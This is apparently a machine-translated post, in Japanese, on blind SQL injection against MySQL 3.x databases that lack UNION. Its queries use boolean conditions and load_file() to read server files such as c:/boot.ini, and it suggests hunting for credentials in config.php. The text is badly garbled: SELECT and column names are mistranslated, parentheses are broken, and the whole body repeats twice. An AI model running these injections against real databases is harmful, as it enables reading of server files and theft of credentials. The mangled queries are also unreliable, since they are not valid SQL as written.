mysql 3.0の注射についての考え方
mysql 3.0の注射
mysqlに対する注射は主にunionによるものです。 の共同クエリですが、unionはバージョン4のみです。0以上の役に立つのは、3です。0以下のものは役に立たない。。。。。。。。。
だからmysqlで 3.0のデータベースではunionを使ってクロステーブルクエリを行うことはできませんが、ロード(u)を使うことができます。file
ただし、直接unionで置き換えることもできません。 次は私の考えです。
バージョンを取得:
mysql> プロジェクト * from user where アメリカドル=1 and length(version)<10;
Empty セット (0.00 sec
mysql> プロジェクト * from user where アメリカドル=1 and length(version)<1777;
+--------------------------------++
𞓜 アメリカ | username | password |
+--------------------------------++
𞓜 1 | アンジェラ | mypass |
+--------------------------------++
1 row in セット (0.00 sec
現在のデータベースを取得:
mysql> プロジェクト * from user where アメリカドル=1 and length(database)>0;
+--------------------------------++
𞓜 アメリカ | username | password |
+--------------------------------++
𞓜 1 | アンジェラ | mypass |
+--------------------------------++
1 row in セット (0.00 sec
ファイルコードを暴取する:
mysql> プロジェクト * from user where アメリカドル=1 and ascii(mid(load_)file('c:/boot.ini')1,1)<1;
Empty セット (0.05 sec
mysql> プロジェクト * from user where アメリカドル=1 and ascii(mid(load_)file('c:/boot.ini')1,1)>
+--------------------------------++
𞓜 アメリカ | username | password |
+--------------------------------++
𞓜 1 | アンジェラ | mypass |
+--------------------------------++
1 row in セット (0.00 sec
仕事が多いので、プログラムでできます。
別の考え方: まず文字処理関数を使って「特殊文字の位置」を得ることができます。例えば、私達が暴れるのはconfig.phpファイルです。私達は「local host」(または他の)を特殊文字として選んで、まず所在の位置(どのバイトですか?)を得て、その近くのものを当てることができます。
mysqlに対する注射は主にunionによるものです。 の共同クエリですが、unionはバージョン4のみです。0以上の役に立つのは、3です。0以下のものは役に立たない。。。。。。。。。
だからmysqlで 3.0のデータベースではunionを使ってクロステーブルクエリを行うことはできませんが、ロード(u)を使うことができます。file
ただし、直接unionで置き換えることもできません。 次は私の考えです。
バージョンを取得:
mysql> プロジェクト * from user where アメリカドル=1 and length(version)<10;
Empty セット (0.00 sec
mysql> プロジェクト * from user where アメリカドル=1 and length(version)<1777;
+--------------------------------++
𞓜 アメリカ | username | password |
+--------------------------------++
𞓜 1 | アンジェラ | mypass |
+--------------------------------++
1 row in セット (0.00 sec
現在のデータベースを取得:
mysql> プロジェクト * from user where アメリカドル=1 and length(database)>0;
+--------------------------------++
𞓜 アメリカ | username | password |
+--------------------------------++
𞓜 1 | アンジェラ | mypass |
+--------------------------------++
1 row in セット (0.00 sec
ファイルコードを暴取する:
mysql> プロジェクト * from user where アメリカドル=1 and ascii(mid(load_)file('c:/boot.ini')1,1)<1;
Empty セット (0.05 sec
mysql> プロジェクト * from user where アメリカドル=1 and ascii(mid(load_)file('c:/boot.ini')1,1)>
+--------------------------------++
𞓜 アメリカ | username | password |
+--------------------------------++
𞓜 1 | アンジェラ | mypass |
+--------------------------------++
1 row in セット (0.00 sec
仕事が多いので、プログラムでできます。
別の考え方: まず文字処理関数を使って「特殊文字の位置」を得ることができます。例えば、私達が暴れるのはconfig.phpファイルです。私達は「local host」(または他の)を特殊文字として選んで、まず所在の位置(どのバイトですか?)を得て、その近くのものを当てることができます。